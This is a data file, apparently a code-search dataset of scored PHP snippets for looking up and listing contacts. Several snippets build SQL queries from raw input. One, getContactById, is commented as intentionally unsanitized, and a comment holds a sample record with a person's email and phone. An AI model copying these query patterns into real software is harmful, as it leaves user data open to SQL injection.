(isset($result['phone_type_id'])) {\n if (!civicrm_error($civires3)) {\n $result['phone_type'] = $civires3['label'];\n }\n }\n $result['phone_id'] = $result['id'];\n $result['start_date'] = date('Y-m-d');\n $result['end_date'] = '';\n unset($result['id']);\n $data = CRM_Utils_DgwApiUtils::setValuesInSeq($sequence, $result);\n $outparms[$i] = $data;\n $i++;\n }\n $outparms[0]['record_count'] = $i - 1;\n return $outparms;\n}", "title": "" }, { "docid": "7ccb30da9dbccf36b1018a402191faad", "score": "0.586079", "text": "public function getContacts()\n\t{\n\t\t$dataType = 'Contacts';\t\t\t\n\t\t$data = json_decode($this->getData($this->cfg['url'] . 'session' . $this->_session . '/data?data='. $dataType . '&version=' . self::client_version));\n\t\tif (is_array($data->data[0]->data->Contact)) return $data->data[0]->data->Contact;\n\t\telse return array();\n\t}", "title": "" }, { "docid": "932707d9cbe8698a4c22a23a0d24cbce", "score": "0.58566207", "text": "function centro_get_contact($id = NULL) {\n $post = get_post($id);\n if ($post) {\n\t\treturn centro_extract_contact_vars($post);\n }\n else {\n \treturn false;\n }\n}", "title": "" }, { "docid": "5cc688ce45823a1adbcb9fa4f76fdf65", "score": "0.58535016", "text": "public function getContact()\n {\n return $this->get('contact');\n }", "title": "" }, { "docid": "9f6f9c0f0190028a8b26f5ece21a49c9", "score": "0.57822734", "text": "public function loginradius_get_contacts(){\n\t\t$Url = \"https://\" . LR_DOMAIN . \"/contacts/\". $this->LRSecret .\"/\".$this->LRToken;\n\t\t$Response = $this->loginradius_call_api($Url);\n\t\treturn json_decode($Response);\n\t}", "title": "" }, { "docid": "cb6b7ca4f97a7c63c06ea09f754333e6", "score": "0.57793075", "text": "function getContactDetails($client_contact_id)\n\t{\n\t\t$query=\" SELECT CC.*,CJ.job_title From \".$this->_name.\" AS CC\n\t\tLEFT JOIN ClientJobs AS CJ ON CJ.id = CC.job_position\n\t\tWHERE CC.identifier='\".$client_contact_id.\"'\";\n\t\t\n\t\t//echo $query;\n\n\t\tif(($count=$this->getNbRows($query))>0)\n {\n $clientContactDetails=$this->getQuery($query,true);\n return $clientContactDetails;\n }\n else\n return NULL;\n\t\t\n\t}", "title": "" }, { "docid": "1a854f116a8e8c9be05f8ce432df3b11", "score": "0.57658863", "text": "public function matterContactSearch()\n\t{\n\t\t// Plainitiff (users)\n\t\t// Attorney_for_Plainitiff (team_members)\n\t\t// Paralegal_for_Plainitiff (team_members)\n\n\t\t$this->viewBuilder()->setLayout('ajax');\n\t\tif (empty($this->request->getquery('q'))) return false;\n\n\t\t$q = $this->request->getquery('q');\n\t\t$type = $this->request->getquery('type');\n\t\t$table = 'Contacts';\n\n\t\tif ($type == 'plaintiff') {\n\t\t\t$table = 'ImportedUsers';\n\t\t} else if (in_array($type, ['attorney_for_plaintiff', 'paralegal_for_plaintiff'])) {\n\t\t\t$table = 'TeamMembers';\n\t\t}\n\n\t\t$search = TableRegistry::getTableLocator()->get($table)->find();\n\n\t\tif ($table == 'Contacts') {\n\t\t\t$search->where([\"(concat(person_first_name, ' ', person_last_name) LIKE '%{$q}%' OR company_name like '%{$q}%')\"])\n\t\t\t->andWhere(['(company_domestic_foreign !=\"foreign\" OR company_domestic_foreign IS NULL)']);\n\t\t} else if ($table == 'ImportedUsers') {\n\t\t\t$search->where([\"concat(name_firstName, ' ', name_lastName) LIKE '%{$q}%'\"]);\n\t\t} else {\n\t\t\t$search->where([\"concat(first_name, ' ', last_name) LIKE '%{$q}%'\"]);\n\t\t}\n\n\t\t$this->set(compact('table'));\n\t\t$this->set('searchresults', $search);\n\t}", "title": "" }, { "docid": "a5d072783ddeb76c020677147b04a218", "score": "0.57622594", "text": "public function getContactsemailasc(){\n \n // call global variables for use in this method\n global $host, $name, $port, $char, $uname, $pword;\n\n // access database\n $dsn = \"mysql:host=$host; dbname=$name; port=$port; char=$char\";\n $user = \"$uname\";\n $pass = \"$pword\";\n $dbh = new PDO($dsn, $user, $pass);\n\n // grab all the contacts from the database\n $st = $dbh->prepare(\"SELECT contFName, contLName, contPhone, contEmail FROM contacts ORDER BY contEmail ASC\");\n $st->execute();\n $result = $st->fetchAll();\n return $result;\n }", "title": "" }, { "docid": "445752ea38443377beed89ed4597983a", "score": "0.5751823", "text": "public function knownAction() {\r\n if($this->_getParam('as',false)){\r\n $this->view->details\t= $this->_api->getContactDetails($this->_getParam('as'));\r\n if (!($this->getCache()->test(md5('contacts'.$this->_getParam('as'))))) {\r\n $ph\t= $this->_api->getContactPhotos($this->_getParam('as'), 0, 18);\r\n $this->getCache()->save($ph);\r\n } else {\r\n $ph = $this->getCache()->load(md5('contacts'.$this->_getParam('as')));\r\n }\r\n $this->view->photos = $ph;\r\n } else {\r\n throw new Pas_Yql_Exception($this->_missingParameter);\r\n }\r\n }", "title": "" }, { "docid": "fee385330e263bdadf41113747f515ab", "score": "0.5741458", "text": "public function mapToContact($params,$type) {\n\t\t$contactName = array();\n\t\t$prefix = \"\";\n\t\tif($type == \"Registrant\") {\n\t\t\t$contactName[\"Name\"] = $params[\"firstname\"] . \" \" . $params[\"lastname\"];\n\t\t\t//$contactName[\"NexusCategory\"] = $params[\"Nexus Category\"];\n\t\t\t//$contactName[\"RegistrantNumber\"] = \"55203780600585\";\n\t\t} else {\n\t\t\t$prefix = strtolower($type);\n\t\t\t$contactName[\"FirstName\"] = $params[$prefix . \"firstname\"];\n\t\t\t$contactName[\"LastName\"] = $params[$prefix . \"lastname\"];\n\t\t}\n\t\t$country = $params[$prefix . \"country\"];\n\t\t$contact = Array(\n\t\t\t'OrgName' \t\t=> $params[$prefix . \"companyname\"],\n\t\t\t'Address1' \t\t=> $params[$prefix . \"address1\"],\t\n\t\t\t'Address2' \t\t=> $params[$prefix . \"address2\"],\n\t\t\t'PostalCode' \t=> $params[$prefix . \"postcode\"],\n\t\t\t'City' \t\t\t=> $params[$prefix . \"city\"],\n\t\t\t'State' \t\t=> $params[$prefix . \"state\"],\t\t\n\t\t\t'CountryCode' \t=> $country,\n\t\t\t'Email' \t\t=> $params[$prefix . \"email\"],\n\t\t\t'Phone'\t\t\t=> Tools::fixPhone($params[$prefix . \"phonenumber\"],$country),\n\t\t\t'Fax' \t\t\t=> \tTools::fixPhone($params[$prefix . \"faxnumber\"],$country)\n\t\t);\t\t\n\t\treturn array_merge($contactName,$contact);\n\t}", "title": "" }, { "docid": "570662ce7c307d759340d399b9698015", "score": "0.57147944", "text": "public function getContentRecipientFromParam() {\n $params = $_SERVER['QUERY_STRING'];\n try {\n if(isset($_GET[\"recipient\"]) && isset($_GET[\"content\"])) {\n $recipient = htmlspecialchars($_GET[\"recipient\"]);\n $content = htmlspecialchars($_GET[\"content\"]);\n return array('recipient' => $recipient, 'content' => $content);\n } \n } catch(Error $e) {\n return null;\n }\n return null;\n }", "title": "" }, { "docid": "d7e127ac2490a5fb97d49eb1360ddb8d", "score": "0.5676947", "text": "function find_contact_name($data) {\n $para = array(\n 'term' => $data[\"name\"],\n );\n $method_path = $this->get_method(\"find_contact_name\");\n $result = $this->get_pipedrive($method_path, $para, null);\n return $result;\n\n // yes:Array ( [success] => 1 [data] => Array ( [0] => Array ( [id] => 8220 [name] => Aaron Jenner [email] => aaron@cooke.toyota.co.nz [phone] => 274770507 [org_id] => [org_name] => [visible_to] => 1 ) ) [additional_data] => Array ( [search_method] => search [pagination] => Array ( [start] => 0 [limit] => 100 [more_items_in_collection] => ) ) )\n//no:{\"success\":true,\"data\":null,\"additional_data\":{\"search_method\":\"search\",\"pagination\":{\"start\":0,\"limit\":100,\"more_items_in_collection\":false}}}\n }", "title": "" }, { "docid": "8feaf30137a12ebadb78d978c0955611", "score": "0.56690973", "text": "public static function getContactData($request)\n { \n $search = $request->search;\n if ($search) {\n $request->session()->put('searchValue', $search);\n } else {\n $sessionSearch = $request->session()->get('searchValue');\n if($request->get('search') || $request->get('page') || $request->get('role_id')){\n $search = ($sessionSearch)? $sessionSearch : '';\n } else{\n $request->session()->forget('searchValue');\n $search = '';\n }\n }\n\n $viewContacts = Contacts::where(function ($q) use ($search) {\n $q->where('email', 'LIKE', '%' . $search . '%')\n ->orWhere('mobile_numbers', 'LIKE', '%' . $search . '%');\n })->with('organization')\n ->paginate(10);\n\n return $viewContacts;\n }", "title": "" }, { "docid": "c10551e100cae4e8c523c47449b973fc", "score": "0.56673324", "text": "function fetch_contact($provider, $username, $password) {\r\n include_once (\"OpenInviter/openinviter.php\");\r\n\r\n $inviter = new OpenInviter();\r\n $inviter -> startPlugin($provider);\r\n\r\n if (!$inviter -> login($username, $password))\r\n return array('code' => -1, 'message' => \"Login failed.\");\r\n\r\n if (false === ($contacts = $inviter -> getMyContacts()))\r\n return array('code' => -1, 'message' => \"Unable to fetch contacts.\");\r\n\r\n return array('code' => 0, 'message' => $contacts);\r\n }", "title": "" }, { "docid": "a4b5954e905593b301dd046025b8984a", "score": "0.5639371", "text": "public function findAction()\n {\n $userId = trim($this->_getParam('user_id', ''));\n $user = $this->getDao()->fetchOnePublicBy('user_id', $userId);\n \n if ($user AND $user->isAllowToFindById()) {\n $result['user'] = $user->toContactArray();\n $this->success($result);\n } \n \n $this->failure(ERROR_USER_NOT_FOUND);\n }", "title": "" }, { "docid": "7981879d3896584ad589a4a8dcdedae1", "score": "0.56085056", "text": "function getAccountByContact($contact_id='',$search_fields = array()) {\n $this->createAutosession();\n\n $returnFlags = new sugarAccountFlags;\n\n\t\t//$filter = array('name_value_operator'=>array('name'=>'contacts.id','value'=>$contact_id,'operator'=>'=','value_array'=>''));\n\t\t$filter = array();\n\t\t//$where = \" accounts_contacts.contact_id = '$contact_id' \";\n // Get account record, if it exists\n $result = $this->_getEntryList($filter,'',$search_fields);\n //echo \"<pre>\"; echo $this->sugarClientProxy->debug_str; echo \"</pre>\";\n // if it returned a account, set flags and return\n\n if ( is_array($result) ) {\n $returnFlags->isAccount = true;\n\n $this->closeAutosession();\n\n return array($result, $returnFlags);\n }\n\n // If we made it all the way down here, something is seriously wrong\n // we'll fail quietly for right now while we figure out what to do about it\n $this->closeAutosession();\n\n return array(false, false);\n }", "title": "" }, { "docid": "94db878a7d327a7a7f8717acdf878a84", "score": "0.5588782", "text": "function usc_mirc_oai_get_record($params) {\n // Make use of the OAI query function with one more check layered on top.\n module_load_include('inc', 'islandora_oai', 'includes/handler');\n $record = islandora_oai_retrieve_record($params);\n if ($record) {\n $solr_model_field = variable_get('islandora_solr_content_model_field', 'RELS_EXT_hasModel_uri_ms');\n if (isset($record['solr_doc'][$solr_model_field])) {\n $models = $record['solr_doc'][$solr_model_field];\n if (array_intersect($models, array('usc:collectionCModel', 'usc:mezzanineCModel'))) {\n return $record;\n }\n }\n }\n return FALSE;\n}", "title": "" }, { "docid": "0a5e8f06c8034eb4c51001d2b1390fe8", "score": "0.55863965", "text": "function findSugarObjectByPhoneNumber($aPhoneNumber) {\n global $soapClient, $soapSessionId;\n print(\"# +++ findSugarObjectByPhoneNumber($aPhoneNumber)\\n\");\n\n $searchPattern = regexify($aPhoneNumber);\n\n //\n // Plan A: Attempt to locate an object in Contacts\n // $soapResult = $soapClient->call('get_entry' , array('session' => $soapSessionId, 'module_name' => 'Calls', 'id' => $callRecId));\n //\n\n $soapArgs = array(\n 'session' => $soapSessionId,\n 'module_name' => 'Contacts',\n 'query' => \"((contacts.phone_work LIKE '$searchPattern') OR (contacts.phone_mobile LIKE '$searchPattern') OR (contacts.phone_home LIKE '$searchPattern') OR (contacts.phone_other LIKE '$searchPattern'))\",\n );\n\n // print \"--- SOAP get_entry_list() ----- ARGS ----------------------------------------\\n\";\n // var_dump($soapArgs);\n // print \"-----------------------------------------------------------------------------\\n\";\n\n $soapResult = $soapClient->call('get_entry_list', $soapArgs);\n\n // print \"--- SOAP get_entry_list() ----- RESULT --------------------------------------\\n\";\n // var_dump($soapResult);\n // print \"-----------------------------------------------------------------------------\\n\";\n\n if ($soapResult['error']['number'] != 0) {\n echo \"! Warning: SOAP error \" . $soapResult['error']['number'] . \" \" . $soapResult['error']['string'] . \"\\n\";\n } else {\n $resultDecoded = decode_name_value_list($soapResult['entry_list'][0]['name_value_list']);\n // print \"--- SOAP get_entry_list() ----- RESULT --------------------------------------\\n\";\n // var_dump($resultDecoded);\n // print \"-----------------------------------------------------------------------------\\n\";\n return array('type' => 'Contacts', 'values' => $resultDecoded);\n }\n\n // Oops nothing found :-(\n return FALSE;\n}", "title": "" }, { "docid": "883439ab2f0a13001e8bfe3611115fae", "score": "0.55786943", "text": "public function processApi(){\n\t\t\t// print_r($_REQUEST);exit;\n\t\t\tif(!empty($_REQUEST['unique_id'])) { \n \t\t\t\t$id = $_REQUEST['unique_id']; //print_r($id);exit;\n\t\t\t\t $data = $this->getContact($id); //print_r($data);exit;\n\t\t\t} else { \n\t\t\t $data = \"Please provie Unique Id\";\t\t\t\t\n\t\t\t}\n \t\t\t$detail = $this->json($data);\n\t\t\t return $detail;\n\t\t }", "title": "" }, { "docid": "9ab98397da3920f1d47f016320ec5d55", "score": "0.557078", "text": "function listContact($user_id=0, $profile_id=2)\r\n {\r\n $contact = $this->SelectMultiTable('contact, user', 'contact.contact_id, contact.contact_name, contact.contact_surname, contact.contact_user_id, contact.contact_mail, contact.is_from_miguel, user.user_alias, user.id_profile', \"contact.user_id = $user_id AND contact.contact_user_id = user.user_id AND user.id_profile = $profile_id\"); //AND contact.is_from_miguel = $from_miguel\");\r\n\r\n if ($this->hasError()) {\r\n $ret_val = null;\r\n }\r\n $countContact = count($contact);\r\n for ($i=0; $i < $countContact; $i++) {\r\n $contactelem[$i]= array (\"contact_id\" => $contact[$i]['contact.contact_id'],\r\n \"contact_name\" => $contact[$i]['contact.contact_name'],\r\n \"contact_surname\" => $contact[$i]['contact.contact_surname'],\r\n \"contact_user\" => $contact[$i]['contact.contact_user_id'],\r\n \"contact_email\" => $contact[$i]['contact.contact_mail'],\r\n \"contact_internal\" => $contact[$i]['contact.is_from_miguel'],\r\n \"contact_logged\" => $this->isLogged($contact[$i]['contact.contact_user_id']),\r\n \"contact_alias\" => $contact[$i]['user.user_alias'],\r\n \"contact_profile\" => $contact[$i]['user.id_profile']\r\n );\r\n }\r\n\r\n return ($contactelem);\r\n\r\n }", "title": "" }, { "docid": "b624343f2d144a7a13fb6e6ca2e9c67d", "score": "0.55681545", "text": "public function contact($arg){\n # Setup view\n $this->template->content = View::instance('v_users_contact');\n $this->template->title = \"Contact\";\n\n # Build the query to show this faucet\n $q = \"SELECT *\n FROM faucets\n WHERE serial_no = '\".$arg.\"'\";\n\n # Run the query\n $items = DB::instance(DB_NAME)->select_rows($q);\n\n # Pass data to the View\n $this->template->content->items = $items; \n\n # Render template\n echo $this->template;\n }", "title": "" }, { "docid": "8fe7fe3a5e6bae25de14409b1d0c3574", "score": "0.55481267", "text": "public function getContact(){\n if ($this->contato!=\"\" && isset($this->contato)){\n return $this->contato;\n }\n }", "title": "" }, { "docid": "cfa49af7c81b0799d3369f78e808415e", "score": "0.55480945", "text": "public function search (array $vars)\n {\n return $this->api->submit(\"customers/\" . $vars[\"customer_id\"] . \"/contacts\", $vars, \"GET\");\n }", "title": "" }, { "docid": "12876cacb3c5bd82d38b828b1c89a66d", "score": "0.5531522", "text": "function get( $params, $options ) {\r\n\t\t$account = $params['account'];\r\n\t\t$domain = $params['domain'];\r\n\t\t$apiKey = $this->getApiKey( $account ); //see, HostnineInfo Trait\r\n\t\t$accounts = $this->getAccounts( $domain, $apiKey );\t//see, GetAccounts Trait\r\n\t\t$accounts = $this->sortResults( $accounts, $options ); //see, SortResults Trait\r\n\t\t$this->displayResults( $accounts ); //see, SortResults Trait\r\n\t}", "title": "" }, { "docid": "60939f493568cceb0ea7efa1d89d54df", "score": "0.5518241", "text": "static function getContact($_contactId)\n {\n return Db::queryFirst(\"SELECT *\n FROM Contacts\n WHERE ContactId = ?\", $_contactId);\n }", "title": "" }, { "docid": "bf302403b99926ea79e22599fc46ba27", "score": "0.551719", "text": "function _getContactsQuery( &$options )\n\t{\n\t\t// TODO: Cache on the fingerprint of the arguments\n\t\t$db\t\t\t=& JFactory::getDBO();\n\t\t$aid\t\t= @$options['aid'];\n\t\t$catId\t\t= @$options['category_id'];\n\t\t$groupBy\t= @$options['group by'];\n\t\t$orderBy\t= @$options['order by'];\n\n\t\t$select = 'cd.*, ' .\n\t\t\t\t'cc.name AS category_name, cc.description AS category_description, cc.image AS category_image,'.\n\t\t\t\t' CASE WHEN CHAR_LENGTH(cd.alias) THEN CONCAT_WS(\\':\\', cd.id, cd.alias) ELSE cd.id END as slug, '.\n\t\t\t\t' CASE WHEN CHAR_LENGTH(cc.alias) THEN CONCAT_WS(\\':\\', cc.id, cc.alias) ELSE cc.id END as catslug ';\n\t\t$from\t= '#__contact_details AS cd';\n\n\t\t$joins[] = 'INNER JOIN #__categories AS cc on cd.catid = cc.id';\n\n\t\tif ($catId)\n\t\t{\n\t\t\t$wheres[] = 'cd.catid = ' . (int) $catId;\n\t\t}\n\t\t$wheres[] = 'cc.published = 1';\n\t\t$wheres[] = 'cd.published = 1';\n\n\t\tif ($aid !== null)\n\t\t{\n\t\t\t$wheres[] = 'cc.access <= ' . (int) $aid;\n\t\t\t$wheres[] = 'cd.access <= ' . (int) $aid;\n\t\t}\n\n\t\t/*\n\t\t * Query to retrieve all categories that belong under the contacts\n\t\t * section and that are published.\n\t\t */\n\t\t$query = 'SELECT ' . $select .\n\t\t\t\t' FROM ' . $from .\n\t\t\t\t' ' . implode ( ' ', $joins ) .\n\t\t\t\t' WHERE ' . implode( ' AND ', $wheres ) .\n\t\t\t\t($groupBy ? ' GROUP BY ' . $groupBy : '').\n\t\t\t\t($orderBy ? ' ORDER BY ' . $orderBy : '');\n\n\t\treturn $query;\n\t}", "title": "" }, { "docid": "cc63d6e7bb8c620c36f324928692dd6e", "score": "0.5514544", "text": "function _getContactQuery( &$options )\n\t{\n\t\t// TODO: Cache on the fingerprint of the arguments\n\t\t$db\t\t\t=& JFactory::getDBO();\n\t\t$aid\t\t= @$options['aid'];\n\t\t$id\t\t\t= @$options['id'];\n\t\t$groupBy\t= @$options['group by'];\n\t\t$orderBy\t= @$options['order by'];\n\n\t\t$select = 'a.*, cc.access as category_access, cc.title as category_name, '\n\t\t. ' CASE WHEN CHAR_LENGTH(a.alias) THEN CONCAT_WS(\\':\\', a.id, a.alias) ELSE a.id END as slug, '\n\t\t. ' CASE WHEN CHAR_LENGTH(cc.alias) THEN CONCAT_WS(\\':\\', cc.id, cc.alias) ELSE cc.id END AS catslug ';\n\t\t$from\t= '#__contact_details AS a';\n\n\t\t$joins[] = 'INNER JOIN #__categories AS cc on cc.id = a.catid';\n\n\t\t$wheres[] = 'a.id = ' . (int) $id;\n\t\t$wheres[] = 'a.published = 1';\n\t\t$wheres[] = 'cc.published = 1';\n\n\t\t/*\n\t\t * Query to retrieve all categories that belong under the contacts\n\t\t * section and that are published.\n\t\t */\n\t\t$query = 'SELECT ' . $select .\n\t\t\t\t' FROM ' . $from .\n\t\t\t\t' '. implode ( ' ', $joins ) .\n\t\t\t\t' WHERE ' . implode( ' AND ', $wheres );\n\n\t\treturn $query;\n\t}", "title": "" }, { "docid": "bbe71bfce1a4bfdb8a5e9822740d072b", "score": "0.55141765", "text": "public function loadContact($form_id, $reg_id)\n\t{\n\t\t//create the request object\n\t\t$objApiRequest = $this->getApiRequestModel();\n\n\t\t//check if user is logged in\n\t\t$objUserLoginDetails = $this->setUserLogin($form_id);\n\t\t$objApiRequest->setAPIKey($objUserLoginDetails->api_key);\n\n\t\t//request contact details from the api\n\t\t$objApiRequest->setApiAction(\"contacts/$reg_id?fid=$form_id\");\n\n\t\ttry {\n\t\t\t$objContact = $objApiRequest->performGETRequest()->getBody()->data;\n\n\t\t\treturn $objContact;\n\t\t} catch (\\Exception $e) {\n\t\t\t//@TODO do something with the error\nvar_dump($e->getMessage()); exit;\n\t\t}//end catch\n\t}", "title": "" }, { "docid": "d4b08888f27cb456caeba64bb347f5b1", "score": "0.55015945", "text": "public static function getBy($params) {\n\t\treturn self::_getDao()->getBy($params);\n\t}", "title": "" }, { "docid": "5cc6fe4340dd1222ff2cef7d8fc71b92", "score": "0.5498639", "text": "public static function getAllContacts() { \n\t$xero = new PrivateApplication(config('services.xero_base_config'));\n\t# get contacts from XERO\n\treturn $xero->load('Accounting\\\\Contact')->execute();\n }", "title": "" }, { "docid": "db06b3ad43bf0d0c0e1a18765bf6536c", "score": "0.54930747", "text": "function smarty_function_get_contract($params, &$smarty)\n{\n\t$arr_get=array(\n\t\t\t\"id\" => $params['id']\n\t);\n\n\t$GLOBALS['GCMS']->assign('getcontract',Contract::get($arr_get));\n}", "title": "" }, { "docid": "6e064d681873050cbdcd406e2da31593", "score": "0.54877734", "text": "public function extractContact()\n\t{\n\t\t$contact = '';\n\t\t//check if by contact first, if not try by table property, if not set as n/a\n\t\tif($this->searchHTML->getElementByID('Contact'))\n \t{\n \t\t$contact = $this->searchHTML->getElementByID('Contact');\n \t}\n \telse if($this->searchHTML->getElementByID('resultTable'))\n \t{\n\n \t}\n \telse\n \t{\n \t\t$contact = \"n/a\";\n \t}\n\n \t//return contact\n \t$this->contact = $contact;\n \treturn $this->contact->nodeValue;\n\t}", "title": "" }, { "docid": "8b495ef9f30950536fab77022675a902", "score": "0.54874486", "text": "public function getByContact($Contact)\n {\n $result = $this->getList(array('Contact' => $Contact));\n return $result;\n }", "title": "" }, { "docid": "1d0f3a67fb4f2ebc28cefba07930417b", "score": "0.5485838", "text": "private static function getContacts($reqs)\n {\n $config = self::$config;\n if(is_null(self::$contacts))\n {\n $interestedContacts = array();\n foreach($reqs as $req)\n {\n foreach($req as $alias => $info)\n {\n foreach($config['websites'] as $website)\n {\n foreach($website as $params){\n\n if(!empty($params['page_url']) && $params['page_url'] == $info['url'])\n {\n if(!empty($params['contacts']))\n {\n $interestedContacts = $params['contacts'];\n break;\n }\n }\n }\n }\n }\n }\n self::$contacts = array_merge($interestedContacts,$config['contacts']);\n }\n\n return self::$contacts;\n }", "title": "" }, { "docid": "ff7ec496de16e11afd8fbe187f4fb295", "score": "0.54655457", "text": "function restGet($segments) {\n\t\t$result = null;\n\t\t$function = $segments[0];\n\t\t\n\t\tswitch($function) {\n\t\t\tcase \"partial\":\t\t//get partial info\n\t\t\t\t$result = $this->getCustomerPartial();\n\t\t\t\tbreak;\n\t\t\t\t\n\t\t\tdefault:\n\t\t\t\t$result = $this->getCustomer($segments[0]);\n\t\t\t\tbreak;\n\t\t}\n\t\t\n\t\tif( !$result )\n\t\t\tself::exceptionResponse(404, 'Not found');\n\t\telse \n\t\t\tprint_r(json_encode($result));\n\t\t\n\t}", "title": "" }, { "docid": "d60e211086e2040ed226871dd7d94bc2", "score": "0.5457148", "text": "private function _searchPerson($params)\r\n {\r\n \t$searchText = isset($param['searchText']) ? trim($param['searchText']) : '';\r\n \t$pageNo = isset($param['pageNo']) ? trim($param['pageNo']) : 1;\r\n \t$pageSize = isset($param['pageSize']) ? trim($param['pageSize']) : DaoQuery::DEFAUTL_PAGE_SIZE;\r\n \t$orderBy = isset($param['orderBy']) ? $param['orderBy'] : array();\r\n \t$stats = array();\r\n \tif($searchText === '')\r\n \t\t$persons = Person::getAll(true, $pageNo, $pageSize, $orderBy, $stats);\r\n \telse\r\n \t\t$persons = Person::getAllByCriteria('email like :searchTxt or firstName like :searchTxt or lastName like :searchTxt or fullName like :searchTxt', array('searchTxt' => '%' . $searchText . '%'), true, $pageNo, $pageSize, $orderBy, $stats);\r\n \treturn array('items' => array_map(create_function('$a', 'return $a->getJson();'), $persons), 'stats' => $stats);\r\n }", "title": "" }, { "docid": "860f862c8dd759d3a243d1b88c293518", "score": "0.54564977", "text": "public function getMyContacts()\r\n\t\t{\r\n\t\tif (!$this->login_ok)\r\n\t\t\t{\r\n\t\t\t$this->debugRequest();\r\n\t\t\t$this->stopPlugin();\r\n\t\t\treturn false;\r\n\t\t\t}\r\n\t\telse $url=$this->login_ok;\r\n\t\t$res=$this->get($url);\r\n\t\tif ($this->checkResponse(\"url_export\",$res))\r\n\t\t\t$this->updateDebugBuffer('url_export',$url,'GET');\r\n\t\telse\r\n\t\t\t{\r\n\t\t\t$this->updateDebugBuffer('url_export',$url,'GET',false);\t\r\n\t\t\t$this->debugRequest();\r\n\t\t\t$this->stopPlugin();\r\n\t\t\treturn false;\r\n\t\t\t}\r\n\t\t\r\n\t\t$tempFile=explode(PHP_EOL,$res);$contacts=array();unset($tempFile[0]);\r\n\t\tforeach ($tempFile as $valuesTemp)\r\n\t\t\t{\r\n\t\t\t$values=explode('~',$valuesTemp);\r\n\t\t\tif (!empty($values[3]))\r\n\t\t\t\t$contacts[$values[3]]=array('first_name'=>(!empty($values[1])?$values[1]:false),\r\n\t\t\t\t\t\t\t\t\t\t\t\t'middle_name'=>(!empty($values[2])?$values[2]:false),\r\n\t\t\t\t\t\t\t\t\t\t\t\t'last_name'=>false,\r\n\t\t\t\t\t\t\t\t\t\t\t\t'nickname'=>false,\r\n\t\t\t\t\t\t\t\t\t\t\t\t'email_1'=>(!empty($values[3])?$values[3]:false),\r\n\t\t\t\t\t\t\t\t\t\t\t\t'email_2'=>(!empty($values[4])?$values[4]:false),\r\n\t\t\t\t\t\t\t\t\t\t\t\t'email_3'=>(!empty($values[5])?$values[5]:false),\r\n\t\t\t\t\t\t\t\t\t\t\t\t'organization'=>false,\r\n\t\t\t\t\t\t\t\t\t\t\t\t'phone_mobile'=>(!empty($values[8])?$values[8]:false),\r\n\t\t\t\t\t\t\t\t\t\t\t\t'phone_home'=>(!empty($values[6])?$values[6]:false),\t\t\t\r\n\t\t\t\t\t\t\t\t\t\t\t\t'pager'=>false,\r\n\t\t\t\t\t\t\t\t\t\t\t\t'address_home'=>false,\r\n\t\t\t\t\t\t\t\t\t\t\t\t'address_city'=>(!empty($values[11])?$values[11]:false),\r\n\t\t\t\t\t\t\t\t\t\t\t\t'address_state'=>(!empty($values[12])?$values[12]:false),\r\n\t\t\t\t\t\t\t\t\t\t\t\t'address_country'=>(!empty($values[14])?$values[14]:false),\r\n\t\t\t\t\t\t\t\t\t\t\t\t'postcode_home'=>(!empty($values[13])?$values[13]:false),\r\n\t\t\t\t\t\t\t\t\t\t\t\t'company_work'=>false,\r\n\t\t\t\t\t\t\t\t\t\t\t\t'address_work'=>false,\r\n\t\t\t\t\t\t\t\t\t\t\t\t'address_work_city'=>false,\r\n\t\t\t\t\t\t\t\t\t\t\t\t'address_work_country'=>false,\r\n\t\t\t\t\t\t\t\t\t\t\t\t'address_work_state'=>false,\r\n\t\t\t\t\t\t\t\t\t\t\t\t'address_work_postcode'=>false,\r\n\t\t\t\t\t\t\t\t\t\t\t\t'fax_work'=>false,\r\n\t\t\t\t\t\t\t\t\t\t\t\t'phone_work'=>(!empty($values[7])?$values[7]:false),\r\n\t\t\t\t\t\t\t\t\t\t\t\t'website'=>false,\r\n\t\t\t\t\t\t\t\t\t\t\t\t'isq_messenger'=>false,\r\n\t\t\t\t\t\t\t\t\t\t\t\t'skype_essenger'=>false,\r\n\t\t\t\t\t\t\t\t\t\t\t\t'yahoo_essenger'=>false,\r\n\t\t\t\t\t\t\t\t\t\t\t\t'msn_messenger'=>false,\r\n\t\t\t\t\t\t\t\t\t\t\t\t'aol_messenger'=>false,\r\n\t\t\t\t\t\t\t\t\t\t\t\t'other_messenger'=>false,\r\n\t\t\t\t\t\t\t\t\t\t\t );\t\t\t\t\r\n\t\t\t}\r\n\t\tforeach ($contacts as $email=>$name) if (!$this->isEmail($email)) unset($contacts[$email]);\r\n\t\treturn $this->returnContacts($contacts);\r\n\t\t}", "title": "" }, { "docid": "f9e42c6167c864df263d5d82ef863455", "score": "0.5446397", "text": "function getContactById($id) {\n global $db;\n $returnValue = array();\n $result = $db->query(\n \"SELECT contacts.*, regions.code, regions.name\n FROM contacts\n LEFT JOIN regions ON contacts.region_id = regions.id\n WHERE contacts.id = (\" . $id . \")\"); // parameter was intentionally not sanitized\n if (false !== $result) {\n $returnValue = $result->fetch();\n }\n return $returnValue;\n}", "title": "" }, { "docid": "d00c46b1e8c1d2d74fa6fb9ac9c01695", "score": "0.5442074", "text": "private function getContact($uid) {\n\t\t$record = $this->pi_getRecord('tx_mcgovcollection_contact', $uid);\n\t\t\n\t\t$where = '';\n\t\t$where .= 'l10n_parent = '.$uid.' ';\n\t\t$where .= 'AND sys_language_uid = '.$GLOBALS['TSFE']->sys_language_uid.' ';\n\t\t$where .= 'AND (hidden = 0 OR hidden IS NULL) ';\n\t\t$where .= 'AND (deleted = 0 OR deleted IS NULL) ';\n\t\t\n\t\t$langols = $GLOBALS['TYPO3_DB']->exec_SELECTquery('*', 'tx_mcgovcollection_contact', $where);\n\t\tif($GLOBALS['TYPO3_DB']->sql_num_rows($langols)==1 && $langol = $GLOBALS['TYPO3_DB']->sql_fetch_assoc($langols)) {\n\t\t\t$record['description'] = $langol['description'];\n\t\t}\n\t\t\n\t\treturn $record;\n\t}", "title": "" }, { "docid": "416a13746877cdc8db85473fe604b627", "score": "0.54350066", "text": "public static function FetchContacts($listname = ''){\r\n \t\t$listname = self::setlist($listname);\r\n \t\tif (empty(self::$contact_lists[$listname])){\r\n \t\t\t$url = self::addUsernameApiKeyToUrl('https://api.elasticemail.com/lists/get-contacts?');\r\n \t\t\t$url .= '&listname='.urlencode((string)$listname);\r\n\r\n \t\t\tself::$contact_lists[$listname] = self::go($url);\r\n \t\t}\r\n \t\treturn self::$contact_lists[$listname];\r\n }", "title": "" }, { "docid": "86ebe8077060d9093f487515e134c2fb", "score": "0.5430069", "text": "public function getContactsInfo($args) {\n // get tables and column\n ModUtil::dbInfoLoad('objectdata');\n $tables \t= DBUtil::getTables();\n $cltable \t= 